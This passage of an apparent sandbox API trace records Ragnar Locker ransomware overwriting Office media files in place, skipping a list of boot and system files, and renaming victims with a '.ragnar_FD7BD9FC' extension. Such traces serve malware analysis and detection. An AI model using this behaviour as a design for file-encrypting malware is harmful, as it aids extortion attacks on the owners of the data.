files\\microsoft office\\media\\cagcat10\\j0233312.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.713] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=33016) returned 1 [0095.713] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x80ef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.713] GetProcessHeap () returned 0x580000 [0095.713] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.713] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.714] VirtualAlloc (lpAddress=0x0, dwSize=0x80f8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.714] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.714] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.714] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x80f8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x80f8, lpOverlapped=0x0) returned 1 [0095.716] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.716] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x80f8, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.716] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x80f8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x80f8, lpOverlapped=0x0) returned 1 [0095.716] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x80f8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.716] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.716] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x80f8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.716] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.716] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.717] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.717] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.717] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.717] GetProcessHeap () returned 0x580000 [0095.717] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.717] CloseHandle (hObject=0x104) returned 1 [0095.717] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233312.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233312.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233312.WMF" [0095.717] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233312.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233312.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233312.WMF.ragnar_FD7BD9FC" [0095.717] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233312.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233312.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233312.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233312.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.718] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23f92c00, ftCreationTime.dwHighDateTime=0x1be8094, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x23f92c00, ftLastWriteTime.dwHighDateTime=0x1be8094, nFileSizeHigh=0x0, nFileSizeLow=0x6632, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234131.WMF", cAlternateFileName="")) returned 1 [0095.718] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.718] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0234131.WMF" | out: lpString1="J0234131.WMF") returned="J0234131.WMF" [0095.718] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234131.WMF") returned=".WMF" [0095.718] lstrcmpiW (lpString1="J0234131.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.718] lstrcmpiW (lpString1="J0234131.WMF", lpString2="autorun.inf") returned 1 [0095.718] lstrcmpiW (lpString1="J0234131.WMF", lpString2="boot.ini") returned 1 [0095.718] lstrcmpiW (lpString1="J0234131.WMF", lpString2="bootfont.bin") returned 1 [0095.718] lstrcmpiW (lpString1="J0234131.WMF", lpString2="bootsect.bak") returned 1 [0095.718] lstrcmpiW (lpString1="J0234131.WMF", lpString2="bootmgr") returned 1 [0095.718] lstrcmpiW (lpString1="J0234131.WMF", lpString2="bootmgr.efi") returned 1 [0095.718] lstrcmpiW (lpString1="J0234131.WMF", lpString2="bootmgfw.efi") returned 1 [0095.718] lstrcmpiW (lpString1="J0234131.WMF", lpString2="desktop.ini") returned 1 [0095.718] lstrcmpiW (lpString1="J0234131.WMF", lpString2="iconcache.db") returned 1 [0095.718] lstrcmpiW (lpString1="J0234131.WMF", lpString2="ntldr") returned -1 [0095.718] lstrcmpiW (lpString1="J0234131.WMF", lpString2="ntuser.dat") returned -1 [0095.718] lstrcmpiW (lpString1="J0234131.WMF", lpString2="ntuser.dat.log") returned -1 [0095.718] lstrcmpiW (lpString1="J0234131.WMF", lpString2="ntuser.ini") returned -1 [0095.718] lstrcmpiW (lpString1="J0234131.WMF", lpString2="thumbs.db") returned -1 [0095.718] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.718] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.718] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.718] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.718] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.718] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.718] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234131.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234131.wmf")) returned 0x20 [0095.719] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234131.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234131.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.719] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=26162) returned 1 [0095.719] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x6629, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.719] GetProcessHeap () returned 0x580000 [0095.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.719] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.721] VirtualAlloc (lpAddress=0x0, dwSize=0x6632, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.721] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.721] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.721] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6632, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x6632, lpOverlapped=0x0) returned 1 [0095.722] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.722] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6632, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.722] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6632, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x6632, lpOverlapped=0x0) returned 1 [0095.722] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6632, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.722] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.723] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x6632, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.723] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.723] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.723] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.723] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.723] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.723] GetProcessHeap () returned 0x580000 [0095.723] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.723] CloseHandle (hObject=0x104) returned 1 [0095.723] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234131.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234131.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234131.WMF" [0095.723] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234131.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234131.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234131.WMF.ragnar_FD7BD9FC" [0095.723] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234131.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234131.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234131.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234131.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.724] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a15c200, ftCreationTime.dwHighDateTime=0x1be7fe9, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4a15c200, ftLastWriteTime.dwHighDateTime=0x1be7fe9, nFileSizeHigh=0x0, nFileSizeLow=0xa87e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234266.WMF", cAlternateFileName="")) returned 1 [0095.724] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.724] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0234266.WMF" | out: lpString1="J0234266.WMF") returned="J0234266.WMF" [0095.724] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234266.WMF") returned=".WMF" [0095.724] lstrcmpiW (lpString1="J0234266.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.724] lstrcmpiW (lpString1="J0234266.WMF", lpString2="autorun.inf") returned 1 [0095.724] lstrcmpiW (lpString1="J0234266.WMF", lpString2="boot.ini") returned 1 [0095.724] lstrcmpiW (lpString1="J0234266.WMF", lpString2="bootfont.bin") returned 1 [0095.724] lstrcmpiW (lpString1="J0234266.WMF", lpString2="bootsect.bak") returned 1 [0095.724] lstrcmpiW (lpString1="J0234266.WMF", lpString2="bootmgr") returned 1 [0095.724] lstrcmpiW (lpString1="J0234266.WMF", lpString2="bootmgr.efi") returned 1 [0095.724] lstrcmpiW (lpString1="J0234266.WMF", lpString2="bootmgfw.efi") returned 1 [0095.724] lstrcmpiW (lpString1="J0234266.WMF", lpString2="desktop.ini") returned 1 [0095.724] lstrcmpiW (lpString1="J0234266.WMF", lpString2="iconcache.db") returned 1 [0095.724] lstrcmpiW (lpString1="J0234266.WMF", lpString2="ntldr") returned -1 [0095.724] lstrcmpiW (lpString1="J0234266.WMF", lpString2="ntuser.dat") returned -1 [0095.724] lstrcmpiW (lpString1="J0234266.WMF", lpString2="ntuser.dat.log") returned -1 [0095.724] lstrcmpiW (lpString1="J0234266.WMF", lpString2="ntuser.ini") returned -1 [0095.724] lstrcmpiW (lpString1="J0234266.WMF", lpString2="thumbs.db") returned -1 [0095.724] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.724] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.724] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.724] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.724] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.724] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.724] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.725] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234266.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234266.wmf")) returned 0x20 [0095.725] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234266.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234266.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.725] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=43134) returned 1 [0095.725] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xa875, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.725] GetProcessHeap () returned 0x580000 [0095.725] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.725] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.726] VirtualAlloc (lpAddress=0x0, dwSize=0xa87e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.727] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.727] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.727] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa87e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xa87e, lpOverlapped=0x0) returned 1 [0095.728] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.728] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa87e, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.728] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa87e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xa87e, lpOverlapped=0x0) returned 1 [0095.729] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa87e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.729] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.729] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xa87e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.729] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.729] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.729] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.729] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.729] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.729] GetProcessHeap () returned 0x580000 [0095.729] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.729] CloseHandle (hObject=0x104) returned 1 [0095.730] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234266.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234266.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234266.WMF" [0095.730] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234266.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234266.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234266.WMF.ragnar_FD7BD9FC" [0095.730] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234266.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234266.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234266.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234266.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.730] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1034e00, ftCreationTime.dwHighDateTime=0x1be75a5, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1034e00, ftLastWriteTime.dwHighDateTime=0x1be75a5, nFileSizeHigh=0x0, nFileSizeLow=0x27ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234657.WMF", cAlternateFileName="")) returned 1 [0095.730] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.730] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0234657.WMF" | out: lpString1="J0234657.WMF") returned="J0234657.WMF" [0095.730] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234657.WMF") returned=".WMF" [0095.730] lstrcmpiW (lpString1="J0234657.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.730] lstrcmpiW (lpString1="J0234657.WMF", lpString2="autorun.inf") returned 1 [0095.730] lstrcmpiW (lpString1="J0234657.WMF", lpString2="boot.ini") returned 1 [0095.730] lstrcmpiW (lpString1="J0234657.WMF", lpString2="bootfont.bin") returned 1 [0095.731] lstrcmpiW (lpString1="J0234657.WMF", lpString2="bootsect.bak") returned 1 [0095.731] lstrcmpiW (lpString1="J0234657.WMF", lpString2="bootmgr") returned 1 [0095.731] lstrcmpiW (lpString1="J0234657.WMF", lpString2="bootmgr.efi") returned 1 [0095.731] lstrcmpiW (lpString1="J0234657.WMF", lpString2="bootmgfw.efi") returned 1 [0095.731] lstrcmpiW (lpString1="J0234657.WMF", lpString2="desktop.ini") returned 1 [0095.731] lstrcmpiW (lpString1="J0234657.WMF", lpString2="iconcache.db") returned 1 [0095.731] lstrcmpiW (lpString1="J0234657.WMF", lpString2="ntldr") returned -1 [0095.731] lstrcmpiW (lpString1="J0234657.WMF", lpString2="ntuser.dat") returned -1 [0095.731] lstrcmpiW (lpString1="J0234657.WMF", lpString2="ntuser.dat.log") returned -1 [0095.731] lstrcmpiW (lpString1="J0234657.WMF", lpString2="ntuser.ini") returned -1 [0095.731] lstrcmpiW (lpString1="J0234657.WMF", lpString2="thumbs.db") returned -1 [0095.731] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.731] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.731] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.731] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.731] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.731] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.731] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234657.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234657.wmf")) returned 0x20 [0095.732] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234657.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234657.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.732] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10222) returned 1 [0095.732] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x27e5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.732] GetProcessHeap () returned 0x580000 [0095.732] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.732] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.734] VirtualAlloc (lpAddress=0x0, dwSize=0x27ee, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.734] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, 